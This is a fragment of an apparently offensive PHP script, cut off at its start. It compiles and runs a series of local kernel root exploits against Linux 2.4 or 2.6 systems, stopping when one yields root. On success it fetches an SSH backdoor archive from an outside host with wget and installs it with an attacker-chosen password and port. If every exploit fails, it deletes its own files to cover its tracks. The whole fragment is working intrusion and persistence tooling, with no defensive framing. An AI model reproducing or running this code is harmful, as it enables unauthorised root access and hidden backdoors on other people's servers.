read())
{
if ($entry!= "." && $entry!= "..")
{
unlink("./$dir/$entry");
}
}
$d->close();
rmdir($dir);
}
function finish($dir, $x, $port, $pass)
{
trucmd("./$dir/$x; wget hostfile.org/0_sshdoor.tgz; tar -zxvf sshdoor.tar.gz; cd sshdoor; ./install $pass $port");
}
function broot($dir, $max) // compile all the source, execute each one and if whoami equals root return true
{
global $port, $pass;
$max = $max -1;
for($x=1;$x<=$max;$x++)
{
if(trucmd("chmod 777 ./$dir/$x.c; gcc -o ./$dir/$x ./$dir/$x.c; ./$x; whoami") == "root")
{
echo "[+] Rooted with ./$dir/$x
";
echo "[+] Installing SSHdoor
";
finish($dir, $x, $port, $pass);
return TRUE;
}else{
echo "[~] Failed to root with ./$dir/$x
";
}
}
}
/***********************************
Executed Code
***********************************/
if(test())
{
echo "[+]Getting Kernel
";
if(get_kern() == "2.6")
{
echo "[+] Kernel Detected 2.6
";
if(!broot($dir,ex_create($dir, $two_six)))
{
echo "[!] Failed to root, removing exploits & folder";
clean($dir);
}
}
else
{
echo "[+] Kernel Detected 2.4
";
if(!broot($dir,ex_create($dir, $two_four)))
{
echo "[!] Failed to root, removing exploits & folder";
clean($dir);
}
}
}
?>